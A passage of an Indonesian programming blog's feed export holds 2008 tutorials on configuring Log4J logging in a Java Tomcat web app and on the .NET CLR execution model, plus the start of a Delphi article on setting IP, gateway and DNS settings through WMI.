baris ..... dimana titik-titik ini adalah value atau nilai dari nama parameter log4j-init-file.&lt;br /&gt;&lt;p align="justify"&gt;&lt;i&gt;&lt;b&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pada baris berikutnya kita juga bisa melihat ada komentar disana yang kurang lebih artinya begini “Menkonfigurasu System Log4J menggunakan kelas PropertyConfigurator”. Nah pada kodenya untuk mengkonfigurasi file log4j ini kita cukup memanggil method &lt;i&gt;configure &lt;/i&gt;yang dimiliki oleh kelas&lt;i&gt; PropertyConfigurator. &lt;/i&gt;Jika telah berhasil dikonfigurasi maka kita tinggal memanggil instance dari library log4j dengan cara memanggil method &lt;i&gt;info &lt;/i&gt;dan mengisi paramater method info dengan string&lt;i&gt; “Logger has beed initialized”.&lt;/i&gt;&lt;br /&gt;&lt;p align="justify"&gt;Perlu diperhatikan bahwa jika string ini di cetak dalam file log maka artinya kita telah selesai mengkonfigurasi log untuk aplikasi web kita, sehingga untuk method-method lain yang kita buat, kita hanya cukup memanggil method info info ini saja, demikian halnya dengan kelas-kelas lain yang ingin kita buat. Kita hanya memanggil method info ini saja untuk memasukkan entry-entry pada log yang memang ingin kita buat dengan tidak lupa men-deklarasikan secara static object Logger seperti contoh di atas .&lt;br&gt;Pada prakteknya nanti log yang akan kita buat mempunya dua log, log yang pertama berisi log alur data biasa dan yang kedua log yang berisi alur data yang error. Untuk memanggil method &lt;i&gt;error&lt;/i&gt; untuk logger cukup dengan mengganti &lt;i&gt;&lt;b&gt;logger.info() &lt;/b&gt;&lt;/i&gt;dengan &lt;i&gt;&lt;b&gt;logger.error().&lt;/b&gt;&lt;/i&gt;&lt;br&gt;Selain itu, dalam file ini kita juga mengoverride tiga method &lt;b&gt;HttpServlet&lt;/b&gt; yaitu : method &lt;i&gt;doPost, doGet, &lt;/i&gt;dan method &lt;i&gt;destroy, &lt;/i&gt;tapi untuk tiga method ini tidak perlu saya jelaskan lagi sebab tidak terlalu penting dalam permasalah konfigurasi log4j ini. Tiga method ini hanya sebagai optional dari pilihan kita meng-ekstend kelas &lt;b&gt;HttpServlet.&lt;/b&gt;&lt;br&gt;Sampai disini kita telah selesai membuat sebuah servlet yang berisi setting konfigurasi logger&lt;b&gt; Log4j library ini. &lt;/b&gt;Sekarang mari kita lanjutkan dengan membuat file web.xml yang nantinya akan menjadi panduan si &lt;b&gt;Servlet Container Tomcat&lt;/b&gt; untuk membaca web aplikasi kita.&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;Perhatikan kode lengkap web.xml di bawah ini.&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://3.bp.blogspot.com/_z0TO7V8pH6w/SFZHRwork1I/AAAAAAAAAes/S5BITBCtISc/s1600-h/Code.png"&gt;&lt;img border="0" alt="" src="http://3.bp.blogspot.com/_z0TO7V8pH6w/SFZHRwork1I/AAAAAAAAAes/S5BITBCtISc/s400/Code.png"&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;Dapat kita lihat pada source code web.xml di atas bahwa ada sebuah servet yang dikonfigurasi dalam aplikasi web kita, servlet itu bernama &lt;b&gt;Log4JInitServlet. &lt;/b&gt;Jika kita perhatikan dalam blok ......... ada sebuah kelas yang di panggil disana yaitu kelas &lt;b&gt;Log4JInitServlet &lt;/b&gt;yang terletak pada package&lt;b&gt; org.mojo.app.web.servlet, &lt;/b&gt;nah servlet yang baru saja selesai kita buat tadi ternyata di panggil disini. Servlet ini mempunyai param name &lt;b&gt;log4j-init-file &lt;/b&gt;yang memang tadi kita buat pada servlet, lalu mempunyai param value yang bernilai &lt;b&gt;/java/mojo/web_app/macam-macam/config/macam-macam_log4j.properties&lt;/b&gt;. Servlet ini juga akan di jalankan pada pertama kali Tomcat di start ditandai dengan blok &lt;b&gt;1&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;p align="justify"&gt;Perhatikan baris param value, ada yang harus kita pahami lebih dalam disini yang berkaitan dengan masalah &lt;i&gt;behaviour&lt;/i&gt; Tomcat. Jika kita dalam System Windows menginstall Tomcat kita pada folder &lt;b&gt;C:\Web\Tomcat_5.5, &lt;/b&gt;maka root Tomcat akan dimulai dari folder Tomcat tersebut, sementara root system akan&lt;b&gt; &lt;/b&gt;di mulai dari drive&lt;b&gt; C:\. &lt;/b&gt;Nah hubungannya dengan param value ini adalah, jika kita menggunakan caracter “/” pada permulaan nilai pada param-value seperti contoh diatas, maka file macam-macam_log4j.properties kita akan ada pada path&lt;b&gt;: &lt;/b&gt;&lt;i&gt;&lt;b&gt;C:\Java\mojo\web_app\macam-macam\config\.&lt;/b&gt;&lt;/i&gt;Itulah salah satu behaviour tomcat jika kita menggunakan caracter “/ ” pada awal sebuah nilai dari parameter di web.xml maka tomcat akan membacanya dari &lt;b&gt;root system&lt;/b&gt;. Bagaimana dengan yang tidak memulainya dengan karakter “/”, maka tomcat akan membacanya dari root dirinya sendiri. Yaitu &lt;b&gt;C:\Web\Tomcat_5.5.&lt;/b&gt;&lt;br /&gt;&lt;p align="justify"&gt;Selanjutnya kita akan membuat sebuah file property nya log4j, dalam membuat file ini kita harus mengikuti &lt;i&gt;&lt;b&gt;&lt;a href="http://acronyms.thefreedictionary.com/Application+programming+interface"&gt;API(Application Performace Interface)&lt;/a&gt; &lt;/b&gt;&lt;/i&gt;dari vendor yang mengeluarkan library log 4j ini. Berikut file property log4 j ini.&lt;br /&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;code&gt;# For the general syntax of property based configuration files see the&lt;br&gt;# documentation of org.apache.log4j.PropertyConfigurator.&lt;br&gt;# The root category uses two appenders called A1 and R. Since no priority is&lt;br&gt;# specified, the root category assumes the default priority for root&lt;br&gt;# which is DEBUG in log4j. The root category is the only category that&lt;br&gt;# has a default priority. All other categories need not be assigned a&lt;br&gt;# priority in which case they inherit their priority from the&lt;br&gt;# hierarchy.&lt;br&gt;&lt;br&gt;#log4j.rootCategory=, R&lt;br&gt;# Root logger set to DEBUG using the A2 appender defined above.&lt;br&gt;&lt;br&gt;log4j.rootLogger=, R, E, stdout&lt;br&gt;log4j.appender.stdout=org.apache.log4j.ConsoleAppender&lt;br&gt;log4j.appender.stdout.layout=org.apache.log4j.PatternLayout&lt;br&gt;&lt;br&gt;# Pattern to output the caller's file name and line number.&lt;br&gt;log4j.appender.stdout.layout.ConversionPattern=%d %5p [%F:%L] - %m%n&lt;br&gt;&lt;br&gt;# R is the RollingFileAppender that outputs to a rolling log&lt;br&gt;# file called web_app.log.&lt;br&gt;log4j.appender.R=org.apache.log4j.RollingFileAppender&lt;br&gt;log4j.appender.R.File=/java/mojo/web_app/macam-macam/logs/macam-macam.log&lt;br&gt;log4j.appender.R.Threshold=DEBUG&lt;br&gt;&lt;br&gt;# Define a pattern layout for the file.&lt;br&gt;# For more information on conversion characters (i.e. d,p,t,c,l,m,n)&lt;br&gt;# please see the PatternLayout class of the Log4j API.&lt;br&gt;log4j.appender.R.layout=org.apache.log4j.PatternLayout&lt;br&gt;&lt;br&gt;#log4j.appender.R.layout.ConversionPattern=%d [%c{1}] %-5p - %m%n&lt;br&gt;log4j.appender.R.layout.ConversionPattern=%d [%F:%L] %-5p - %m%n&lt;br&gt;&lt;br&gt;# Set the max size of the file and the number of backup files&lt;br&gt;log4j.appender.R.MaxFileSize=2MB&lt;br&gt;log4j.appender.R.MaxBackupIndex=9&lt;br&gt;&lt;br&gt;################################## Define Error File Log #########################################&lt;br&gt;# E is the ErrorFileAppender that outputs to a rolling log&lt;br&gt;# file called web_err.log.&lt;br&gt;log4j.appender.E=org.apache.log4j.RollingFileAppender&lt;br&gt;log4j.appender.E.File=/java/mojo/web_app/macam-macam/logs/macam-macam_err.log&lt;br&gt;log4j.appender.E.Threshold=ERROR&lt;br&gt;&lt;br&gt;# Define a pattern layout for the file.&lt;br&gt;# For more information on conversion characters (i.e. d,p,t,c,l,m,n)&lt;br&gt;# please see the PatternLayout class of the Log4j API.&lt;br&gt;&lt;br&gt;log4j.appender.E.layout=org.apache.log4j.PatternLayout&lt;br&gt;#log4j.appender.E.layout.ConversionPattern=%d [%c{1}] %-5p - %m%n&lt;br&gt;log4j.appender.E.layout.ConversionPattern=%d [%F:%L] %-5p - %m%n&lt;br&gt;&lt;br&gt;# Set the max size of the file and the number of backup files&lt;br&gt;log4j.appender.E.MaxFileSize=100KB&lt;br&gt;log4j.appender.E.MaxBackupIndex=9&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/code&gt;&lt;br /&gt;&lt;p align="justify"&gt;Kita tidak akan membahas satu demi satu isi dari file log4j properties ini. Kita cukup memperhatikan baris &lt;i&gt;&lt;b&gt;log4j.appender.R.File=/java/mojo/web_app/macam-macam/logs/macam-macam.log&lt;/b&gt;&lt;/i&gt; ini saja, baris ini adalah baris dimana logger nantinya akan membuat logger ditandai dengan nama &lt;b&gt;macam-macam.log. &lt;/b&gt;Selain&lt;b&gt; &lt;/b&gt;itu kita juga hanya harus memperhatikan bar&lt;b&gt;i&lt;/b&gt;&lt;i&gt;s&lt;/i&gt;&lt;b&gt; log4j.appender.E.File=/java/mojo/web_app/macam-macam/logs/macam-macam_err.log. &lt;/b&gt;Disinilah logger akan meletakkan semua error log pada aplikasi web kita.&lt;br&gt;Sebagai petunjuk terakhir adalah tahap &lt;b&gt;deployment &lt;/b&gt;aplikasi kita ini, copy file log4j library anda ke dalam aplikasi web anda dan letakkan di folder WEB-INF/lib, kemudia letakkan kelas Log4JInitServlet ini pada path package yang benar dan terakhir jangan lupa mengkopi file properties log4j nya ke juga kedalam path yang benar sesuai dengan konifgurasi pada file web.xml, jangan lupa juga untuk membuat folder logs dalam path yang benar berdasarkan konfigurasi pada file log4j.properties&lt;b&gt;.&lt;/b&gt;&lt;b&gt;&lt;br&gt;Selesai sudah, pembahasan kita kali ini, selamat mencoba dan jangan lupa feedbacknya ke tulisan ini :D&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;b&gt;Semoga Bermanfaat&lt;/b&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;b&gt;Menteng, 15 Juni 2008&lt;/b&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;b&gt;Josescalia&lt;/b&gt;&lt;br /&gt;&lt;p align="justify"&gt;source : &lt;a href="http://josescalia.blogspot.com/2008/06/menambahkan-log4j-pada-web-aplikasi.html" target="_blank"&gt;josescalia.blogspot.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:63424968-6b03-424f-a7a6-30f731567985" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/java" rel="tag"&gt;java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/tutorial" rel="tag"&gt;tutorial&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4660405454237373194?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4660405454237373194/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4660405454237373194&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4660405454237373194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4660405454237373194'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/06/menambahkan-log4j-pada-web-aplikasi.html' title='Menambahkan Log4J pada Web Aplikasi Java'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_z0TO7V8pH6w/SFZHRwork1I/AAAAAAAAAes/S5BITBCtISc/s72-c/Code.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4076651271839271219</id><published>2008-06-22T18:58:00.001+07:00</published><updated>2008-06-22T18:58:58.321+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>CLR Execution Model (Bagian 01) – Kompilasi Source Code Menjadi Managed Module</title><content type='html'>&lt;p align="justify"&gt;CLR (&lt;em&gt;Common Language Runtime&lt;/em&gt;), sebagaimana namanya, adalah sebuah &lt;em&gt;runtime&lt;/em&gt; yang bisa digunakan oleh banyak bahasa pemrograman. Fitur-fitur yang dimiliki CLR akan tersedia di semua bahasa pemrograman yang berjalan di atasnya. Sebagai contoh, CLR menggunakan &lt;em&gt;exception&lt;/em&gt; untuk melaporkan terjadinya kesalahan. Maka semua bahasa pemrograman yang berjalan di atas CLR juga akan menggunakan &lt;em&gt;exception&lt;/em&gt; untuk pelaporan kesalahan. Contoh yang lain, CLR mengizinkan kita untuk membuat &lt;em&gt;thread&lt;/em&gt;, maka semua bahasa yang berjalan di atas CLR juga bisa membuat &lt;em&gt;thread&lt;/em&gt;. &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Sebenarnya, saat sedang berjalan (&lt;em&gt;runtime&lt;/em&gt;), CLR tidak akan mengetahui dengan bahasa apa aplikasi yang sedang berjalan dibuat. Hal ini berarti kita bebas memilih bahasa pemrograman selama bahasa pemrograman tersebut berjalan di atas CLR. Jadi pilihlah bahasa yang paling mudah untuk mengekspresikan keinginan kita.&lt;/p&gt;  &lt;p align="justify"&gt;Lalu jika seperti itu, apa keuntungan menggunakan bahasa yang satu dibandingkan dengan bahasa yang lain? Baiklah, kita anggap saja sebuah &lt;em&gt;compiler&lt;/em&gt; sebagai alat untuk mengecek sintaks. Ia akan memeriksa &lt;em&gt;source code&lt;/em&gt; yang kita tulis, memastikan semuanya benar, lalu ia akan mengkonversi kode program kita menjadi bahasa yang lebih rendah (IL). Masing-masing bahasa pemrograman menawarkan sintaks yang berbeda. Jangan menganggap remeh perbedaan sintaks ini. Untuk aplikasi matematis atau keuangan, menulisnya dalam APL akan sangat menghemat waktu development jika dibandingkan membuatnya dalam sintaks Perl misalnya.&lt;/p&gt;  &lt;p align="justify"&gt;Microsoft telah membuat beberapa bahasa pemrograman yang berjalan di atas CLR, yaitu C++/CLI, C#, Visual Basic, Jscript, J#, dan Intermediate Language (IL) Assembler. Selain itu, beberapa perusahaan lain serta akademisi juga telah membuat compiler yang mentarget CLR untuk bahasa-bahasa yang telah ada, misalnya Ada, APL, COBOL, Heskell, Python, dll&lt;/p&gt;  &lt;p align="justify"&gt;Gambar 01 menunjukkan proses kompilasi &lt;em&gt;source code&lt;/em&gt;. Sebagaimana terlihat, kita bisa menulis &lt;em&gt;source code&lt;/em&gt; dengan bahasa apapun yang mendukung CLR. Lalu kita gunakan &lt;em&gt;compiler&lt;/em&gt; dari bahasa yang bersangkutan untuk mengecek sintaks dan menganalisis &lt;em&gt;source code&lt;/em&gt;. Apapun &lt;em&gt;compiler&lt;/em&gt; yang kita gunakan, hasilnya akan berupa sebuah &lt;em&gt;managed module&lt;/em&gt;. &lt;em&gt;Managed module&lt;/em&gt; ialah sebuah standar Windows 32 bit untuk file &lt;em&gt;portable executable&lt;/em&gt; (PE32) atau Windows 64 bit &lt;em&gt;portable executable&lt;/em&gt; (PE32+) yang membutuhkan CLR untuk menjalankannya.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img alt="" src="http://firstyuyu.files.wordpress.com/2008/06/060408-0340-clrexecutio1.jpg" width="481" height="257" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Gambar 01.&lt;/strong&gt; Mengcompile &lt;em&gt;source code&lt;/em&gt; menjadi &lt;em&gt;managed module&lt;/em&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;em&gt;Managed module&lt;/em&gt; terdiri dari beberapa bagian sbb:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;PE32&lt;/strong&gt; atau &lt;strong&gt;PE32+ header&lt;/strong&gt;: Berisi standar &lt;em&gt;file header&lt;/em&gt; Windows PE. Di dalam header ini juga menyebutkan tentang tipe file: GUI, CUI, atau DLL, dan juga berisi informasi &lt;em&gt;timestamp&lt;/em&gt; kapan file tersebut dibuat. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;CLR header: &lt;/strong&gt;Berisi informasi yang akan dibaca oleh CLR. Informasi ini meliputi versi CLR yang dibutuhkan, beberapa &lt;em&gt;flag&lt;/em&gt;, lokasi serta ukuran dari &lt;em&gt;metadata&lt;/em&gt;, &lt;em&gt;resource&lt;/em&gt;, &lt;em&gt;strong name&lt;/em&gt;, dll. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;Metadata: &lt;/strong&gt;setiap &lt;em&gt;managed module&lt;/em&gt; berisi tabel &lt;em&gt;metadata&lt;/em&gt;. Ada dua macam tabel ini, yaitu tabel yang mendeskripsikan tipe data dan &lt;em&gt;member&lt;/em&gt; yang didefinisikan di dalam &lt;em&gt;source code&lt;/em&gt; dan tabel yang mendeskripsikan tipe data dan &lt;em&gt;member &lt;/em&gt;lain yang dijadikan referensi oleh &lt;em&gt;source code&lt;/em&gt;. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;Kode Intermediate Language (IL): &lt;/strong&gt;kode yang dibuat oleh &lt;em&gt;compiler&lt;/em&gt; sebagai hasil proses kompilasi &lt;em&gt;source code&lt;/em&gt;. Saat &lt;em&gt;runtime&lt;/em&gt;, CLR akan meng-&lt;em&gt;compile&lt;/em&gt; IL menjadi &lt;em&gt;native CPU instruction&lt;/em&gt;. &lt;/div&gt;   &lt;/li&gt; &lt;/ol&gt;  &lt;p align="justify"&gt;&lt;em&gt;Native compiler&lt;/em&gt; (seperti C dan C++) akan menghasilkan kode yang khusus untuk sebuah arsitektur CPU, seperti x86, x64, atau IA64. Namun, semua &lt;em&gt;compiler&lt;/em&gt; yang mendukung CLR akan menghasilkan kode Intermediate Language (IL). Kita akan membahas tentang IL lebih dalam pada artikel berikutnya. Kode IL sering disebut sebagai &lt;em&gt;managed code&lt;/em&gt; karena CLR-lah yang mengelola eksekusinya.&lt;/p&gt;  &lt;p align="justify"&gt;Selain menghasilkan IL, semua &lt;em&gt;compiler&lt;/em&gt; yang mendukung CLR akan menuliskan &lt;em&gt;metadata&lt;/em&gt; ke dalam setiap &lt;em&gt;managaed module&lt;/em&gt; yang dibuatnya. &lt;em&gt;Metadata&lt;/em&gt; merupakan superset dari teknologi yang lebih lama seperti &lt;em&gt;Type Libraries&lt;/em&gt; dan &lt;em&gt;Interface Definition Language&lt;/em&gt; (IDL). Hal penting yang perlu kita ketahui ialah bahwa &lt;em&gt;metadada&lt;/em&gt; CLR lebih lengkap. Selain itu, tidak seperti &lt;em&gt;Type Libraries&lt;/em&gt; dan IDL, &lt;em&gt;metadata&lt;/em&gt; selalu diasosiasikan dengan file yang berisi kode IL. Pada kenyataannya, &lt;em&gt;metadata&lt;/em&gt; selalu ditempatkan di dalam file EXE atau DLL yang dibuat oleh &lt;em&gt;compiler&lt;/em&gt; sehingga tidak mungkin memisahkan antara kode IL dan &lt;em&gt;metadata&lt;/em&gt;-nya. Karena &lt;em&gt;compiler&lt;/em&gt; membuat &lt;em&gt;metadata&lt;/em&gt; dan kode IL pada saat yang sama dan menggabungkan keduanya menjadi sebuah &lt;em&gt;managed module&lt;/em&gt;, maka kode IL dan &lt;em&gt;metadata&lt;/em&gt;-nya akan selalu sinkron.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;em&gt;Metadata&lt;/em&gt; mempunyai banyak kegunaan. Berikut ini beberapa diantaranya:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;     &lt;div align="justify"&gt;&lt;em&gt;Metadata&lt;/em&gt; membuat kita tidak memerlukan lagi &lt;em&gt;header&lt;/em&gt;        &lt;br /&gt;&lt;em&gt;file&lt;/em&gt; ketika melakukan proses kompilasi karena semua informasi tentang tipe data yang dirujuk telah ada di dalam &lt;em&gt;managed module&lt;/em&gt; bersama dengan kode IL. &lt;em&gt;Compiler&lt;/em&gt; bisa langsung membaca &lt;em&gt;metadata&lt;/em&gt; ini untuk mendapatkan informasi yang dibutuhkan. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Microsoft Visual Studio menggunakan &lt;em&gt;metadata&lt;/em&gt; ini untuk membantu kita dalam penulisan &lt;em&gt;source code&lt;/em&gt;. Fitur &lt;em&gt;IntelliSense&lt;/em&gt; akan membaca &lt;em&gt;metadata&lt;/em&gt; ini untuk memberitahukan kepada kita tentang method, property, event, dan field apa saja yang dimiliki oleh sebuah tipe data, serta jika berkaitan dengan method, parameter apa saja yang dimiliki oleh method tersebut. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Proses verifikasi kode yang dilakukan oleh CLR akan menggunakan &lt;em&gt;metadata&lt;/em&gt; ini untuk memastikan bahwa kode yang kita tulis hanya boleh melakukan &lt;em&gt;safe operation&lt;/em&gt;. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;em&gt;Metadata&lt;/em&gt; memungkinkan kita melakukan serialisasi sebuah field milik sebuah obyek lalu mengirimkannya ke komputer lain, lalu melakukan deserialisasi, membuat kembali obyek dengan &lt;em&gt;state&lt;/em&gt; yang sama di &lt;em&gt;remote machine&lt;/em&gt;. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;em&gt;Metadata&lt;/em&gt; memungkinkan &lt;em&gt;garbage collector&lt;/em&gt; untuk menentukan masa hidup sebuah obyek. &lt;em&gt;Garbage collector&lt;/em&gt; bisa menentukan tipe data sebuah obyek, dan melalui &lt;em&gt;metadata&lt;/em&gt;, ia bisa mengetahui field apa saja dari obyek tersebut yang menunjuk ke obyek yang lain. &lt;/div&gt;   &lt;/li&gt; &lt;/ol&gt;  &lt;p align="justify"&gt;Secara &lt;em&gt;default&lt;/em&gt;, &lt;em&gt;Microsoft C++ compiler&lt;/em&gt; akan membuat modul EXE/DLL yang berisi &lt;em&gt;unmanaged code&lt;/em&gt;. Modul ini tidak membutuhkan CLR untuk eksekusinya. Namung dengan menambahkan &lt;em&gt;command-line switch&lt;/em&gt; /CLR, &lt;em&gt;compiler &lt;/em&gt;C++ akan menghasilkan modul yang berisi &lt;em&gt;managed code&lt;/em&gt;, dan tentu saja CLR harus diinstal untuk menjalankan modul ini. &lt;em&gt;Compiler &lt;/em&gt;C++ sangat unik karena ia satu-satunya &lt;em&gt;compiler&lt;/em&gt; yang mengizikan developer menulis &lt;em&gt;managed code&lt;/em&gt; serta &lt;em&gt;unmanaged code&lt;/em&gt; yang kemudian akan di-&lt;em&gt;compile&lt;/em&gt; ke dalam modul yang sama. Ia juga mengizinkan developer untuk mendefinisikan &lt;em&gt;managed data type&lt;/em&gt; serta &lt;em&gt;unmanaged data type&lt;/em&gt; dalam &lt;em&gt;source code&lt;/em&gt; yang sama.&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://firstyuyu.wordpress.com/2008/06/07/clr-execution-model-bagian-01-%E2%80%93-kompilasi-source-code-menjadi-managed-module/" target="_blank"&gt;firstyuyu.wordpress.com&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:e43477f0-be0b-4f86-a64d-b745d16223fc" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;,&lt;a href="http://technorati.com/tags/CLR" rel="tag"&gt;CLR&lt;/a&gt;,&lt;a href="http://technorati.com/tags/introduction" rel="tag"&gt;introduction&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4076651271839271219?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4076651271839271219/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4076651271839271219&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4076651271839271219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4076651271839271219'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/06/clr-execution-model-bagian-01-kompilasi.html' title='CLR Execution Model (Bagian 01) – Kompilasi Source Code Menjadi Managed Module'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-8093249842854543363</id><published>2008-06-22T18:49:00.001+07:00</published><updated>2008-06-22T18:49:56.027+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><title type='text'>Setting IP Address, Subnet dan Gateway computer di Delphi</title><content type='html'>&lt;p&gt;Artikel dibawah ini menerangkan bagaimana setting IP Address, Subnet dan Gateway computer. Caya yang digunakan adalah dengan menggunakan class WMI API OLE&lt;/p&gt;  &lt;p&gt;Contoh   &lt;br /&gt;jika SetIpConfig('192.168.1.5') = 0 maka Set ke STATIC IP    &lt;br /&gt;jika SetIpConfig('') = 0. Maka Set ke DHCP    &lt;br /&gt;jika SetupConfig('dhcp') = 0 Maka Set ke DHCP    &lt;br /&gt;jika SetIpConfig('196.11.175.221','196.11.175.1') = 0 itu berarti menuliskan IP STATIC + GATEWAY&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Unit reference yang digunakan adalah&lt;/b&gt; : ComObj, ActiveX, UrlMon&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p&gt;&lt;b&gt;Function yang akan dubuat adalah :&lt;/b&gt;    &lt;br /&gt;function SetIpConfig(const AIpAddress : string; const AGateWay : string = ''; const ASubnetMask : string = '') : integer;    &lt;br /&gt;function SetDnsServers(const APrimaryDNS : string; const AAlternateDNS : string = '') : integer;     &lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Dengan Return Value sbb :     &lt;br /&gt;&lt;/b&gt;0 Successful completion, no reboot required.    &lt;br /&gt;1 Successful completion, reboot required.    &lt;br /&gt;-1 Unknown OLE Error    &lt;br /&gt;64 Method not supported on this platform.    &lt;br /&gt;65 Unknown failure.    &lt;br /&gt;66 Invalid subnet mask.    &lt;br /&gt;67 An error occurred while processing an instance that was returned.    &lt;br /&gt;68 Invalid input parameter.    &lt;br /&gt;69 More than five gateways specified.    &lt;br /&gt;70 Invalid IP address.    &lt;br /&gt;71 Invalid gateway IP address.    &lt;br /&gt;72 An error occurred while accessing the registry for the info.    &lt;br /&gt;73 Invalid domain name.    &lt;br /&gt;74 Invalid host name.    &lt;br /&gt;75 No primary or secondary WINS server defined.    &lt;br /&gt;76 Invalid file.    &lt;br /&gt;77 Invalid system path.    &lt;br /&gt;78 File copy failed.    &lt;br /&gt;79 Invalid security parameter.    &lt;br /&gt;80 Unable to configure &lt;a name="3936931070"&gt;&lt;/a&gt;&lt;a href="http://amazon.de/gp/product/3936931070?ie=UTF8&amp;amp;tag=delphi300comc-21&amp;amp;link_code=em1&amp;amp;camp=2510&amp;amp;creative=11150&amp;amp;creativeASIN=3936931070&amp;amp;adid=d37e8ba7-de38-459a-bf54-b658c23a8e0e"&gt;TCP/IP&lt;/a&gt; service.    &lt;br /&gt;81 Unable to configure DHCP service.    &lt;br /&gt;82 Unable to renew DHCP lease.    &lt;br /&gt;83 Unable to release DHCP lease.    &lt;br /&gt;84 IP not enabled on adapter.    &lt;br /&gt;85 IPX not enabled on adapter.    &lt;br /&gt;86 Frame/network number bounds error.    &lt;br /&gt;87 Invalid frame type.    &lt;br /&gt;88 Invalid network number.    &lt;br /&gt;89 Duplicate network number.    &lt;br /&gt;90 Parameter out of bounds.    &lt;br /&gt;91 Access denied.    &lt;br /&gt;92 Out of memory.    &lt;br /&gt;93 Already exists.    &lt;br /&gt;94 Path, file, or object not found.    &lt;br /&gt;95 Unable to notify service.    